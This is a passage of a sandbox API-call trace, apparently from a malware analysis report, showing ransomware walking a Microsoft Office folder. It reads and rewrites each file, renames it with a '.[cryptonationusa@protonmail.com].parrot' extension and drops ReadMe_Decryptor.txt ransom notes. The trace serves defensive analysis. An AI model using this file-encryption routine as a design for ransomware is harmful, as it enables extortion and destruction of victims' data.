lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13584, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x13584, lpOverlapped=0x0) returned 1 [0236.013] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.016] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\wordirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\wordirmv.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4908 | out: hHeap=0x5b0000) returned 1 [0236.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0236.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0236.205] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.205] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0236.206] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.207] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13784, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x13784, lpOverlapped=0x0) returned 1 [0236.216] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.218] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML" (normalized: "c:\\program files\\microsoft office\\office14\\xlcprtid.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\xlcprtid.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4908 | out: hHeap=0x5b0000) returned 1 [0236.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0236.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0236.225] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0236.226] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0236.226] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.226] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0236.226] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0236.226] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0236.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0236.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0236.226] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0236.229] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0236.229] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.230] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0236.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68df78 | out: hHeap=0x5b0000) returned 1 [0236.230] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0236.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68df00 | out: hHeap=0x5b0000) returned 1 [0236.230] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccffc00, ftCreationTime.dwHighDateTime=0x1c43c6f, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbccffc00, ftLastWriteTime.dwHighDateTime=0x1c43c6f, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1 [0236.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0236.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0236.231] lstrcmpW (lpString1="XML2WORD.XSL", lpString2="ReadMe_Decryptor.txt") returned 1 [0236.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XML2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\xml2word.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0236.233] GetFileSize (in: hFile=0x1b0, lpFileSizeHigh=0x18f240 | out: lpFileSizeHigh=0x18f240*=0x0) returned 0x2851 [0236.233] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2969, nNumberOfBytesToLockHigh=0x0) returned 1 [0236.234] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.234] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0236.235] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.235] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2851, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x2851, lpOverlapped=0x0) returned 1 [0236.236] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0236.236] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.236] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0236.236] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0236.236] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0236.236] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0236.236] GetLastError () returned 0x0 [0236.237] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0236.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0236.237] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0236.237] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0236.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0236.237] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0236.237] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0236.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0236.237] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0236.237] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0236.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0236.237] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0236.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0236.237] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0236.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0236.237] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0236.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0236.237] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0236.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0236.237] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0236.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0236.237] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0236.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0236.237] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0236.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0236.237] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0236.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x319e470 [0236.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0236.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a5268 [0236.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0236.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0236.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0236.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0236.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0236.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0236.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0236.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0236.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0236.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0236.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0236.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0236.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0236.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x3158048 [0236.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0236.239] WriteFile (in: hFile=0x1b0, lpBuffer=0x3158060*, nNumberOfBytesToWrite=0x2978, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x3158060*, lpNumberOfBytesWritten=0x18f1c4*=0x2978, lpOverlapped=0x0) returned 1 [0236.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3158048 | out: hHeap=0x5b0000) returned 1 [0236.239] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2969, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0236.239] CloseHandle (hObject=0x1b0) returned 1 [0236.239] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0236.239] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x22b4908 [0236.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68df00 | out: hHeap=0x5b0000) returned 1 [0236.239] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\XML2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\xml2word.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\XML2WORD.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\xml2word.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4908 | out: hHeap=0x5b0000) returned 1 [0236.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0236.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f84b8 | out: hHeap=0x5b0000) returned 1 [0236.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b9c0 [0236.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0236.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0236.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0236.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18efb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0236.292] GetFileType (hFile=0x1b0) returned 0x1 [0236.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0236.302] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d4ce00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x5e8489d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d4ce00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x202200, dwReserved0=0x0, dwReserved1=0x0, cFileName="XOCR3.PSP", cAlternateFileName="")) returned 1 [0236.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0236.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0236.303] lstrcmpW (lpString1="XOCR3.PSP", lpString2="ReadMe_Decryptor.txt") returned 1 [0236.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XOCR3.PSP" (normalized: "c:\\program files\\microsoft office\\office14\\xocr3.psp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0236.306] GetFileSize (in: hFile=0x1b0, lpFileSizeHigh=0x18f240 | out: lpFileSizeHigh=0x18f240*=0x0) returned 0x202200 [0236.306] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x202318, nNumberOfBytesToLockHigh=0x0) returned 1 [0236.306] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.306] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0236.307] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.308] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0236.316] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0236.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0236.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0236.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0236.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0236.317] GetLastError () returned 0x0 [0236.386] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.386] WriteFile (in: hFile=0x1b0, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0236.386] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.387] WriteFile (in: hFile=0x1b0, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0236.389] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x202318, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0236.389] CloseHandle (hObject=0x1b0) returned 1 [0236.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0236.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x22b4908 [0236.389] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68df00 | out: hHeap=0x5b0000) returned 1 [0236.389] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\XOCR3.PSP" (normalized: "c:\\program files\\microsoft office\\office14\\xocr3.psp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\XOCR3.PSP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\xocr3.psp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.393] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4908 | out: hHeap=0x5b0000) returned 1 [0236.393] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0236.393] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0236.398] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b9c0 [0236.398] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0236.398] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0236.398] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0236.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18efb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0236.400] GetFileType (hFile=0x1b0) returned 0x1 [0236.400] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0236.411] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0236.414] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0236.415] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18e89540, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x18e89540, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.417] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf83732c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf83732c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0236.417] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf83e56e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf83e56e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0236.417] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf840b840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf840b840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0236.417] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x50ff7a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x1313b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDS.DLL", cAlternateFileName="")) returned 1 [0236.417] RtlAllocateHeap 